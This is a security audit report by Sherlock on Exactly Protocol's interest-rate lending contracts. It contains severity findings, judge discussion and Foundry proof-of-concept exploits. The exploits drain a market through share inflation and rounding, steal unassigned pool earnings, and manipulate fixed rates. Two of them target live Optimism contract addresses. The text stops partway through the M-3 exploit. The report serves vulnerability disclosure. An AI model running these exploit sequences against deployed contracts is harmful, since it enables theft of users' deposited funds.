SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Public
Prepared for:	Exactly Protocol
Prepared by:	Sherlock
Lead Security Expert:	Trumpero
Dates Audited:	April 22 - May 4, 2024
Prepared on:	June 7, 2024

Introduction

Exactly Protocol is a decentralized, non-custodial, open-source protocol providing an autonomous fixed and variable interest rate market.

Scope

Repository: exactly/protocol

Branch: main

Commit: eb0a9f70fa9e4cdb99847ce5f0587611e8f4c077

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
16	2

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

0x73696d616f	ether_sky	santiellena
santipu_	kankodu	mahdikarimi
Trumpero	00xSEV	KupiaSec

Shield	AllTooWell	Emmanuel
bin2chen	elhaj	BowTiedOriole

Issue H-1: The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol

Source:
https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/41

The protocol has acknowledged this issue.

Found by

0x73696d616f, kankodu, santipu_

Summary

- When the totalSupply of a market is 0, an attacker can take advantage of #1 and #2 to drain the entire protocol.

Vulnerability Detail

- The attacker inflates the value of 1 share to a large value, making it sufficient to borrow all the borrowable assets using stealth donation as described in #1 using the original account.
- They create a throwAway account and mint 1 wei of share to that account as well.
  - They put up this 1 wei of share as collateral, borrow all the available assets, and transfer them to the original account.
  - Abandon the market by withdrawing only 1 wei of asset which is allowed, because 1 wei of asset won't be enough to make the position unhealthy (checked using `auditor.shortfall` at the start of the withdrawal). However, this results in 1 whole wei of share (worth a large value) being burnt due to rounding up. See #2.
  - As a result, the throwaway account will now have 0 collateral and a lot of debt.
- The original account now has the claim to all the assets as they are the only holder of shares. Since the original account never borrowed, they are able to withdraw all the assets. Additionally, they receive all the borrowed assets that the throwaway account sent to it.

Impact

- If the totalSupply of a market is 0, the whole protocol can be drained.

Code Snippet

- https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L726

##POC

- Add below testcase in `test/Market.t.sol`

```
contract ThrowAwayAccount {
  function enterMarketAndBorrow(Market exactlyMarketToEnter, Market
↪   exactlyMarketToBorrowFrom) public {
    exactlyMarketToEnter.auditor().enterMarket(exactlyMarketToEnter);

    //borrow all the available assets
    exactlyMarketToBorrowFrom.borrow(3000 ether, msg.sender, address(this));

    //abandon the market by withdrawing only 1 wei of asset
    //this is allowed because 1 wei of asset won't be enough to make postion
↪   unhealthy (checked using auditor.shortfall at the start in withdraw)
    //but results in 1 whole wei of share (worth 8000 ether) being burnt due to
↪   rounding up
    exactlyMarketToEnter.withdraw(1, address(this), address(this));

    //This market will be underwater after that since the 1 wei they deposited
↪   as collateral has now been burnt
  }
}

 function testDrainProtocol() external {
    marketWETH.asset().transfer(BOB, 3000 ether);
    //this is the deposit that will be stolen later on
    vm.prank(BOB);
    marketWETH.deposit(3000 ether, BOB);

    //These are attacker's interactions that uses DAI market which has 0
↪   totalSupply to drain the protocol (BOB's 3000 ether in this case)
    uint256 wETHBalanceBefore = marketWETH.asset().balanceOf(address(this));
    uint256 assetBalanceBefore = market.asset().balanceOf(address(this));
    //require that the total Supply is zero
    require(market.totalSupply() == 0, "totalSupply is not zero");

    //enter the market
    market.auditor().enterMarket(market);

    //make a small deposit
    market.deposit(0.01 ether, address(this));
    //borrow even smaller amount
    uint256 borrowShares = market.borrow(0.005 ether, address(this),
↪   address(this));

    //wait for 1 block which is enough so that atleast 1 wei is accured as
↪   interest
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 10 seconds);

    //deposit a few tokens to accure interest
    market.deposit(2, address(this));

    //repay all the debt
    market.refund(borrowShares, address(this));

    //redeem all but 1 wei of the deposit
    uint256 shares = market.balanceOf(address(this));
    market.redeem(shares - 1, address(this), address(this));

    require(market.totalAssets() == 2 && market.totalSupply() == 1, "starting
↪   conditions are not as expected");

    uint256 desiredPricePerShare = 8000 ether;
    // The loop to inflate the price
    while (true) {
      uint256 sharesReceived = market.deposit(market.totalAssets() * 2 - 1,
↪   address(this));
      require(sharesReceived == 1, "sharesReceived is not 1 as expected");
↪   //this should have been 1.99999... for larger values of i but it is rounded
↪   down to 1

      if (market.totalAssets() > desiredPricePerShare) break;

      uint256 sharesBurnt = market.withdraw(1, address(this), address(this));
      require(sharesBurnt == 1, "sharesBunrt is not 1 as expected"); //this
↪   should have been ~0.0000001 for larger values of i but it is rounded up to 1
    }

    uint256 sharesBurnt = market.withdraw(market.totalAssets() -
↪   desiredPricePerShare, address(this), address(this));
    require(sharesBurnt == 1, "sharesBunrt is not 1 as expected");

    require(
      market.totalAssets() == desiredPricePerShare && market.totalSupply() == 1,
↪   "inflating the price was unsuccessful"
    );
    ThrowAwayAccount throwAwayAccount = new ThrowAwayAccount();

    //mint 1 wei of share (worth 8000 ether) to the throwaway account
    market.mint(1, address(throwAwayAccount));
    //throwAwayAccount puts up 1 wei of share as collateral, borrows all
  ↪ available assets and then withdraws 1 wei of asset
    throwAwayAccount.enterMarketAndBorrow(market, marketWETH);

    //this throwaway account now has a lot of debt and no collateral to back it
    (uint256 collateral, uint256 debt) =
  ↪ auditor.accountLiquidity(address(throwAwayAccount), Market(address(0)), 0);
    assertEq(collateral, 0);
    assertGt(debt, 3000 ether);

    //attacker gets away with everything
    market.withdraw(market.totalAssets(), address(this), address(this));

    assertEq(market.asset().balanceOf(address(this)), assetBalanceBefore - 1);
  ↪ //make sure attacker gets back all their assets
    //in addtion they get the borrowed assets for free
    assertEq(marketWETH.asset().balanceOf(address(this)), wETHBalanceBefore +
  ↪ 3000 ether);
  }
```

Tool used

Manual Review

Recommendation

- Fix #1 and #2

Discussion

kankodu

Escalate The issues mentioned here got scrambled. This report references issues #35 and #40.

If only the inflation attack vector was present, the protocol couldn't be drained. Only in-motion funds after the inflation attack would have been at risk. This issue is different from a simple inflation attack. This results in the entire TVL being drained by taking advantage of issue #40.

sherlock-admin3

> Escalate The issues mentioned here got scrambled. This report references issues #35 and #40.
>
> If only the inflation attack vector was present, the protocol couldn't be drained. Only in-motion funds after the inflation attack would have been at risk. This issue is different from a simple inflation attack. This results in the entire TVL being drained by taking advantage of issue #40.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

InfectedIsm

#248 and #232 attack path are incorrect btw For the inflation to be effective, it requires to accrue interest, and to loss to rounding multiple times, while these submissions attack path are based on the naive first depositor inflation attack

santipu03

I marked all these issues as duplicates for the following reason:

- Issues 35, 37, 148, 232, and 248 they just describe the basic inflation attack scenario where the funds from the next depositor can be stolen, IMO those should be medium-severity issues.
- Issue 141 uses the inflation attack and it leverages so that the entire TVL of the protocol can be drained, this issue should be a high-severity issue.

Because the root cause of all these issues is the same, i.e. inflating the share value through a donation, according to the Sherlock rules they should be put as duplicates with the highest severity between them all (high).

kankodu

There are protocols that choose not to fix the inflation attack because the reasoning is that if an attacker inflates the market, it will be detected and a new market will be deployed instead. Due to issue #40, draining the protocol is possible. The inflation attack is a separate issue, and this one is different. If issue #40 weren't present, draining wouldn't be possible

santipu03

As I stated before, all issues in this group have the same root cause (inflation attack) even though they have different impacts. According to the Sherlock rules, all issues with the same root cause should be grouped.

santichez

Hey @kankodu , that's a nice finding :) In Exactly's deployment script as soon as a `Market` is deployed, some shares are deposited and immediately burned and after the timelock schedule and execution, then the `Market` is finally enabled as collateral. However, the team would like to also work on a simple on-chain fix for this. We were discussing about adding `require(totalSupply > 100);` at the beginning of the `beforeWithdraw` hook. What do you think? Your POC test is not succeeding now.

kankodu

> We were discussing adding `require(totalSupply > 100);` at the beginning of the `beforeWithdraw` hook.

This is not a sufficient solution. Without this check, an attacker would have required x$ of flashloaned amount to steal x$ at a time. With this check, an attacker would still be able to steal x$ at a time with 100x$ of flashloaned amount.

I would recommend burning some shares when the total supply is zero in the contract itself when the first deposit happens. Basically, make sure the total supply cannot go between 0 and SOME_MINIMUM_AMOUNT (10000 wei). See here for how Uniswap v2 does it.

You can also fix this by making sure the total supply is either 0 or greater than SOME_MINIMUM_AMOUNT when depositing and withdrawing so that the first depositor/last withdrawer doesn't lose some dust amounts. See here for how it is done in Sushiswap's BentoBox.

cvetanovv

The root cause of this issue and the duplicate issues is the Inflation Attack. Even if the duplicates are Medium severity or describe a slightly different attack, we can duplicate them with a High severity issue according to the rules.

> There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:
>
> - B -> high severity path
> - C -> medium severity attack path/just identifying the vulnerability. Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.

Planning to reject the escalation and leave the issue as is.

Evert0x

Result: High Has Duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- kankodu: rejected

InfectedIsm

FYI, you're validating invalid submission here @cvetanovv @Evert0x Attack path is incorrect and do not lead to inflation, direct donation are not possible because vault do not use balanceOf but a state variable to account for assets The main vector here wait few seconds/minutes such as interest will appear, imbalancing assets and shares, making rounding issue possible then.

> #248 and #232 attack path are incorrect btw For the inflation to be effective, it requires to accrue interest, and to loss to rounding multiple times, while these submissions attack path are based on the naive first depositor inflation attack

cvetanovv

> FYI, you're validating invalid submission here @cvetanovv @Evert0x Attack path is incorrect and do not lead to inflation, direct donation are not possible because vault do not use balanceOf but a state variable to account for assets The main vector here wait few seconds/minutes such as interest will appear, imbalancing assets and shares, making rounding issue possible then.
>
> > #248 and #232 attack path are incorrect btw For the inflation to be effective, it requires to accrue interest, and to loss to rounding multiple times, while these submissions attack path are based on the naive first depositor inflation attack

The Lead Judge duplicated them because they found the issue's root cause in the Market. @santipu03 What do you think about this comment?

santipu03

@InfectedIsm I don't quite understand what you mean there.

Are you arguing that this issue (#41) is invalid, as well as all its duplicates? Or are you arguing that issues #248 and #232 should be invalid? If so, explain your reasons clearly, please.

InfectedIsm

@santipu03 my bad, #232 seems to have the right attack path.

but #248 don't I think, it describe the "simple" inflation attack and no more, which isn't possible as it is:

> In short, to kick-start the attack, the malicious user will often usually mint the smallest possible amount of shares (e.g., 1 wei) and then donate

> significant assets to the vault to inflate the number of assets per share. Subsequently, it will cause a rounding error when other users deposit.

For the reason #232 describe:

> However, in Exactly, there is a safeguards in place to mitigate this attack. The market tracks the number of collateral assets within the state variables. Thus, simply transferring assets to the market directly will not work, and the assets per share will remain the same. Thus, one would need to perform additional steps to workaround/bypass the existing controls. [...]

Then not sure if this attack path works as it is different from other duplicates, but at least seems to grasp the same idea:

> Attacker can inflate backupEarnings by sequently depositAtMaturity and borrowAtMaturity. Such operation will not trigger depositToTreasury() because updateFloatingDebt() will always return 0 at a no-debt market.

santipu03

@InfectedIsm I agree with you that issue #248 doesn't describe the most important part of the attack path, which is the **stealth donation**. It seems that issue #248 is just a copy-paste of a report on the classic inflation attack without checking first if it would work within this protocol, and I think it would have been invalidated if judged as a standalone report.

On the other hand, issue #232 describes the following attack path:

> Attacker can inflate backupEarnings by sequently depositAtMaturity and borrowAtMaturity. Such operation will not trigger depositToTreasury() because updateFloatingDebt() will always return 0 at a no-debt market.

After analyzing this attack sequence, I've arrived at the conclusion that is invalid. When the attacker deposits at maturity, he won't receive any fee because there are no borrows so the deposited funds will sit idle on the fixed pool. After that, if the attacker borrows at maturity, the fee paid will be considered *free lunch* so it will be directed to the treasury. After these two operations, the attacker hasn't donated any funds to the floating assets because the funds have been directed to the treasury. In conclusion, following this attack path won't lead to inflating the share price.

After reassessing reports #248 and #232, I believe they should be invalidated because of the lack of a valid attack path, but I honestly don't know if it's allowed to do that at this point. CC. @cvetanovv

cvetanovv

We're still in an escalation period, and these duplicates are related to an escalated issue, so we can change them.

I agree that #248 does not specify an attack path and seems like a copy-paste issue. #232 shows the incorrect attack path and, according to the rules, should also be invalid.

> In addition to this, there is a submission D which identifies the core issue but does not clearly describe the impact **or an attack path**. Then D is considered low.

Both issues have found the root cause, but they should be low because of the wrong attack path.

There may soon be improvements to the duplicate rules and it will be easier to identify duplicates.

Issue H-2: Unassigned pool earnings can be stolen when a maturity borrow is liquidated by depositing at maturity with 1 principal

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/114

Found by

00xSEV, 0x73696d616f, Trumpero, ether_sky

Summary

When a borrowed maturity is liquidated, `canDiscount` in `Market::noTransferRepayAtMaturity()` is `false`, which ignores the unassigned earnings. Thus, an attacker may borrow and deposit at maturity with a principal of 1 and get all these unassigned rewards.

Vulnerability Detail

On `Market::liquidate()`, borrowed maturities will be liquidated first by calling `Market::noTransferRepayAtMaturity()`, passing in the `canDiscount` variable as `false`, so unassigned earnings in the pool will not be converted to `earningsAccumulator` and subtracted to `actualRepayAssets`. Following the liquidation, these unassigned earnings will be converted over time to `floatingAssets`, in `pool.accrueEarnings(maturity);` on deposit, borrow and repay maturities. Or, in case `floatingBackupBorrowed > 0`, the next user to deposit a maturity will partially or fully claim the fee, depending on how much deposit they supply. In case `floatingBackupBorrowed == 0`, and `supply` is 0, the user may borrow at maturity 1 principal and then deposit at maturity 1 principal, claiming the full fee. If `supply` is not 0, the user would have to borrow at maturity until the borrow amount becomes bigger than the supply, which would be less profitable (depending on the required borrowed), but still exploitable.

The following POC added to test `Market.t.sol` shows how an attacker can claim a liquidated borrowed maturity fee with just 1 principal of deposit.

```
function test_POC_stolenBorrowedMaturityEarnings() public {
  uint256 maturity = FixedLib.INTERVAL;
  uint256 assets = 10_000 ether;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);

  vm.startPrank(ALICE);
  // ALICE deposits
  market.deposit(assets, ALICE);

  // ALICE borrows at maturity, using backup from the deposit
  market.borrowAtMaturity(maturity, assets/10, type(uint256).max, ALICE, ALICE);

  // ALICE borrows the maximum possible using floating rate
  (uint256 collateral, uint256 debt) = auditor.accountLiquidity(address(ALICE),
↪   Market(address(0)), 0);
  uint256 borrow = (collateral - debt)*8/10; // max borrow capacity
  market.borrow(borrow, ALICE, ALICE);

  vm.stopPrank();

  skip(1 days);

  // LIQUIDATOR liquidates ALICE, wiping ALICE'S maturity borrow
  // and ignores its unassigned rewards
  address liquidator = makeAddr("liquidator");
  vm.startPrank(liquidator);
  deal(address(asset), liquidator, assets);
  asset.approve(address(market), assets);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  // ATTACKER deposits to borrow at maturity
  address attacker = makeAddr("attacker");
  deal(address(asset), attacker, 20);
  vm.startPrank(attacker);
  asset.approve(address(market), 20);
  market.deposit(10, attacker);

  // ATTACKER borrows at maturity, making floatingBackupBorrowed = 1 > supply = 0
  market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);

  // ATTACKER deposits just 1 at maturity, claiming all the unassigned earnings
  // by only providing 1 principal
  uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
  assertEq(positionAssets, 6657534246575341801);
}
```

Impact

Attacker steals the unassigned earnings from the liquidation of a borrowed maturity with 1 principal.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L244 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L293 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L375 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L478 https://github.com/sherlock-aaccrueudit/2024-04-interest-rate-model-0x73696d616f/blob/main/protocol/contracts/Market.sol#L508 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L565 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/utils/FixedLib.sol#L84

Tool used

Manual Review

Vscode

Foundry

Recommendation

Instead of ignoring unassigned earnings on liquidations, convert them to `earningsAccumulator`, which should not be able to be gamed as it goes through an over time accumulator.

Discussion

santipu03

@itofarina @cruzdanilo Could you add also the `will fix/won't fix` tag?

santipu03

@santichez Could you add the `will fix` or `won't fix` tag?

Dliteofficial

Invalid

@santipu03 I dont think this issue is valid. When a user deposits at maturity, the possibility of getting a reward is dependent on whether there is floatingBackUpBorrowed or not and how much he gets is dependent on how much of the floating backup borrowed is paid back when he deposits in that fixed rate pool, how then will 1 principal deposit receive all the pool's unassigned earnings?

0x73696d616f

@Dliteofficial please go through the POC.

Dliteofficial

Yes, I did that. I beleive my comment stands, and goes to the nexus of your finding which is that the unassigned earning can be stolen with 1 principal.

0x73696d616f

> how then will 1 principal deposit receive all the pool's unassigned earnings?

This is literally in the POC.

Dliteofficial

If you are referring to this place in the POC:

```
// ATTACKER deposits just 1 at maturity, claiming all the unassigned earnings
// by only providing 1 principal
uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
assertEq(positionAssets, 6657534246575341801);
```

I see that, I am saying, when deposit at maturity is called, the fee is calculated in FixedLib::calculateDeposit() and in there, the fee is calculated as a fraction of the backup borrowed repaid.

If that's not what you are referring to, please let me know

0x73696d616f

Here

```
// ATTACKER borrows at maturity, making floatingBackupBorrowed = 1 > supply = 0
market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);

// ATTACKER deposits just 1 at maturity, claiming all the unassigned earnings
// by only providing 1 principal
uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
assertEq(positionAssets, 6657534246575341801);
```

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/exactly/protocol/pull/721

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-1: Bad debt isn't cleared when `earningsAccumulator` is lower than a fixed-pool bad debt

Source:
https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/66

The protocol has acknowledged this issue.

Found by

mahdikarimi, santipu_

Summary

When the bad debt from a fixed pool must be cleared but the `earningsAccumulator` value is slightly lower than the debt, it won't clear any amount of debt. If the bad debt amount is big enough, this may cause a bank run, and the last users to withdraw won't be able to because of this uncleared bad debt.

Vulnerability Detail

When a loan is liquidated and it has more debt than collateral, that extra debt (bad debt) must be cleared at the end of the liquidation to avoid a discrepancy between the tracked funds and the actual funds. The function in charge of clearing the bad debt is the following:

```
    function clearBadDebt(address borrower) external {
        if (msg.sender != address(auditor)) revert NotAuditor();

        floatingAssets += accrueAccumulatedEarnings();
        Account storage account = accounts[borrower];
        uint256 accumulator = earningsAccumulator;
        uint256 totalBadDebt = 0;
        uint256 packedMaturities = account.fixedBorrows;
        uint256 maturity = packedMaturities & ((1 << 32) - 1);
        packedMaturities = packedMaturities >> 32;
        while (packedMaturities != 0) {
          if (packedMaturities & 1 != 0) {
            FixedLib.Position storage position =
 ↪  fixedBorrowPositions[maturity][borrower];
            uint256 badDebt = position.principal + position.fee;
>>          if (accumulator >= badDebt) {
              RewardsController memRewardsController = rewardsController;
```

```
                if (address(memRewardsController) != address(0))
↪   memRewardsController.handleBorrow(borrower);
                accumulator -= badDebt;
                totalBadDebt += badDebt;
                floatingBackupBorrowed -=
↪   fixedPools[maturity].repay(position.principal);
                delete fixedBorrowPositions[maturity][borrower];
                account.fixedBorrows =
↪   account.fixedBorrows.clearMaturity(maturity);

                emit RepayAtMaturity(maturity, msg.sender, borrower, badDebt,
↪   badDebt);
              }
            }
            packedMaturities >>= 1;
            maturity += FixedLib.INTERVAL;
          }

          // ...
    }
```

The `clearBadDebt` function first clears the bad debt on the fixed pools using the `earningsAccumulator` on the market. However, when the accumulator is slightly lower than the bad debt on a fixed pool, it should clear the maximum debt possible but it won't clear any bad debt.

Imagine the following scenario:

1. After a loan is liquidated and the full collateral is seized, it still has 1 ETH (`1e18`) of debt in a fixed pool.
2. When `clearBadDebt` is called, the earnings accumulator has 0.95 ETH (`0.95e18`) in it, which is less than the bad debt to be cleared.
3. The function, instead of clearing the maximum bad debt possible (i.e. 0.95 ETH), it won't clear any bad debt because the accumulator is slightly lower than the debt to clear.

This will cause the accrued bad debt to stay in the market, possibly causing a bank run in the long term if enough bad debt isn't cleared.

Impact

When the value of `earningsAccumulator` is slightly lower than the bad debt, the protocol won't clear any bad debt. If this happens enough times, the uncleared bad debt will become bigger and it will possibly cause a bank run in the future, and the last users to withdraw won't be able to because of the lack of funds within the protocol.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L633

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to clear the maximum amount of bad debt possible when the accumulated earnings are slightly lower than the bad debt to clear.

Discussion

Dliteofficial

@santipu03

I don't think this finding is valid, rather than intended behaviour. Plus, it isn't clear from this finding how the last user will be unable to withdraw their funds if the socialized bad debt doesn't affect the amount withdrawn by floating rate pool LPs. The debt is wiped out using earningsAccumulator.

I also believe this is intended behaviour because in an attempt to protect the LPs, the bad debt is only socialized using the earningAccumulator meaning that the LPs are only liable to the uncleared debt to the tune of the earnings accumulated over time

MehdiKarimi81

don't you think it should be a high issue since it can affect share price and the last user cannot withdraw assets? @santipu03

MehdiKarimi81

> @santipu03
>
> I don't think this finding is valid, rather than intended behaviour. Plus, it isn't clear from this finding how the last user will be unable to withdraw their funds if the socialized bad debt doesn't affect the amount withdrawn by floating rate pool LPs. The debt is wiped out using earningsAccumulator.

> I also believe this is intended behaviour because in an attempt to protect the LPs, the bad debt is only socialized using the earningAccumulator meaning that the LPs are only liable to the uncleared debt to the tune of the earnings accumulated over time

Probably earningAccumulator won't be enough to clear bad debt so bad debt remains as part of floating assets which inflates share price while there is not enough funds in the contract so last user in unable to withdraw funds

Dliteofficial

@MehdiKarimi81 this doesn't track. The nexus of the finding is that the bad debt will not be clearable if the earnings accumulator doesn't have that capacity. I believe this is intended behaviour to limit the LP's liability

santipu03

The core of this finding is that the protocol isn't clearing any bad debt when it should clear it partially. Therefore, when the earnings accumulator is lower than the bad debt, it should be set to zero in order to clear the maximum bad debt. Instead, the protocol won't clear any bad debt, leading to a discrepancy between the tracked funds and the real funds, leading to a possible bank run if lenders see there's uncleared bad debt on the market.

santichez

This was a design choice that the team made, mostly because at that point the calculation of a partial fixed borrow repayment was pretty complex and this was considered not worth it given the really low likelihood of the whole context. Even if the accumulator is not sufficient to cover a maturity repayment, as soon as the accumulator gets filled the clearing of bad debt can be triggered again.

Issue M-2: Fixed interest rates can be manipulated by a whale borrower

Source:
https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/67

The protocol has acknowledged this issue.

Found by

santipu_

Summary

A whale borrower can manipulate the fixed interest rate by repaying a huge amount of funds, taking a fixed loan, and borrowing the funds previously repaid.

Vulnerability Detail

The fixed interest rate is calculated based on the utilization rates in that market, the higher the utilization, the higher the fixed rate. A whale borrower can manipulate the fixed rate in just one block by repaying a huge loan, taking a fixed loan with a lower rate, and borrowing the loan previously repaid again.

When borrowing from a fixed pool, the fixed interest rate is calculated here:

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L313-L319

```
uint256 memFloatingAssetsAverage = previewFloatingAssetsAverage();
uint256 memFloatingDebt = floatingDebt;
uint256 fixedRate = interestRateModel.fixedRate(
  maturity,
  maxFuturePools,
  fixedUtilization(pool.supplied, pool.borrowed, memFloatingAssetsAverage),
  floatingUtilization(memFloatingAssetsAverage, memFloatingDebt),
  globalUtilization(memFloatingAssetsAverage, memFloatingDebt,
↪   floatingBackupBorrowed)
);
```

To calculate the utilization of the market, we use the average of the total assets, this is to prevent the manipulation of the rate by depositing and withdrawing in the same block. However, the floating debt used to calculate the utilization is not an average, but just the current value. This will allow an attacker to manipulate the total debt in just one block, lowering the fixed rate.

Impact

A whale borrower can manipulate the fixed interest rate by repaying a huge amount of funds, taking a fixed loan with a lower rate, and borrowing the funds previously repaid again.

PoC

The following PoC executes this attack on the live contracts of Exactly on the Optimism chain. The test can be pasted into a new file within a forge environment. Also, the `.env` file must include the variable `OPTIMISM_RPC_URL` for the test to run. The test can be executed with the following command:

```
forge test --match-test test_manipulate_utilization_lower_rate --evm-version
 ↪  cancun
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Market} from "protocol/contracts/Market.sol";
import {FixedLib} from "protocol/contracts/utils/FixedLib.sol";
import {Test} from "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract TestManipulationRate is Test {
    Market marketUSDC = Market(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);
    Market marketWSTETH = Market(0x22ab31Cd55130435b5efBf9224b6a9d5EC36533F);

    IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
    IERC20 wsteth = IERC20(0x1F32b1c2345538c0c6f582fCB022739c4A194Ebb);

    uint256 public optimismFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        optimismFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(optimismFork, vm.activeFork());
    }

    function test_manipulate_utilization_lower_rate() public {
        vm.rollFork(119348257); // Abr 28
        uint256 maturity = 1729728000; // Latest maturity
```

```
uint256 liquidity = 3e18;
uint256 borrowAmount = 1e18;

// Simulate that a whale has borrowed a lot from the wstETH market
address whale = makeAddr("whale");
vm.startPrank(whale);
deal(address(usdc), whale, 5_000_000e6);
usdc.approve(address(marketUSDC), type(uint256).max);
marketUSDC.deposit(5_000_000e6, whale);
marketUSDC.auditor().enterMarket(marketUSDC);

for (uint i = 0; i < 35; i++) {
    marketWSTETH.borrow(20e18, whale, whale);
}
vm.stopPrank();

uint256 snapshot = vm.snapshot();

// Now, borrow from fixed pool and store the fee
deal(address(wsteth), address(this), liquidity);
wsteth.approve(address(marketWSTETH), liquidity);
marketWSTETH.deposit(liquidity, address(this));
marketWSTETH.auditor().enterMarket(marketWSTETH);
marketWSTETH.borrowAtMaturity(
    maturity,
    borrowAmount,
    type(uint256).max,
    address(this),
    address(this)
);
(uint256 principal1, uint256 fee1) = marketWSTETH.fixedBorrowPositions(
    maturity,
    address(this)
);

// Reverse the borrow and decrease utilization first
vm.revertTo(snapshot);
vm.startPrank(whale);
wsteth.approve(address(marketWSTETH), type(uint256).max);
marketWSTETH.repay(700e18, whale);
vm.stopPrank();

// Borrow again from fixed pool and store the fee
deal(address(wsteth), address(this), liquidity);
wsteth.approve(address(marketWSTETH), liquidity);
marketWSTETH.deposit(liquidity, address(this));
marketWSTETH.auditor().enterMarket(marketWSTETH);
```

```
        marketWSTETH.borrowAtMaturity(
            maturity,
            borrowAmount,
            type(uint256).max,
            address(this),
            address(this)
        );
        (uint256 principal2, uint256 fee2) = marketWSTETH.fixedBorrowPositions(
            maturity,
            address(this)
        );

        // With the original utilization, the fee is higher
        assertEq(principal1, borrowAmount);
        assertEq(fee1, 0.582518181735455386e18); // The fee is ~58% of the
↪   borrow amount

        // After the utilization is manipulated, the fee is a LOT lower
        assertEq(principal2, borrowAmount);
        assertEq(fee2, 0.011389232448094875e18); // The fee is ~1% of the borrow
↪   amount
    }
}
```

Note: The attacker can get a flash loan to repay/borrow the huge variable loan to lower the fixed rate.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L313-L319

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to use an average of the floating debt to calculate the fixed utilization rate. Implementing a mechanism similar to how the average of the total assets is calculated will prevent this attack from happening.

Issue M-3: Theft of unassigned earnings from a fixed pool

Source:
https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/68

Found by

ether_sky, santiellena, santipu_

Summary

An attacker can borrow a dust amount from a fixed pool to round down the fee to zero, repeating this thousands of times the attacker will get a big fixed loan with 0 fees. If that loan is repaid early, the amount repaid will be lower than the borrowed amount, effectively stealing funds from the unassigned earnings of that fixed pool.

Vulnerability Detail

When a user takes a loan from a fixed pool, the resulting fee is rounded down. An attacker can use this feature to borrow a dust amount from a fixed pool thousands of times to end up with a big fixed loan with 0 fees.

The fee is calculated here:

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L320

```
fee = assets.mulWadDown(fixedRate.mulDivDown(maturity - block.timestamp, 365
↪  days));
```

When the borrowed assets are really low, the resulting fee will be rounded down to zero. This by itself is already an issue, but an attacker can use this loan to steal funds from the unassigned earnings.

When a fixed loan is repaid early, it can get a discount that is calculated as if the repaid amount was deposited into that fixed pool. The discount depends on the unassigned earnings of the pool and the proportion that the repaid amount represents in the total fixed debt backed by the floating pool.

When the attacker repays this loan with no interest, he's going to get a discount based on the current unassigned earnings of that pool. This discount will make the attacker repay less funds than he originally borrowed, and those funds will be subtracted from the unassigned earnings of that pool.

Impact

An attacker can steal the unassigned earnings from a fixed pool.

PoC

The following PoC executes this attack on the live contracts of Exactly in the Optimism chain. The test can be pasted into a new file within a forge environment. Also, the `.env` file must include the variable `OPTIMISM_RPC_URL` for the test to run. The test can be executed with the following command:

```
forge test --match-test test_steal_unassigned_earnings --evm-version cancun
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Market} from "protocol/contracts/Market.sol";
import {FixedLib} from "protocol/contracts/utils/FixedLib.sol";
import {Test} from "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract TestMarket is Test {
    Market marketUSDC = Market(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);
    Market marketWBTC = Market(0x6f748FD65d7c71949BA6641B3248C4C191F3b322);

    IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
    IERC20 wbtc = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);

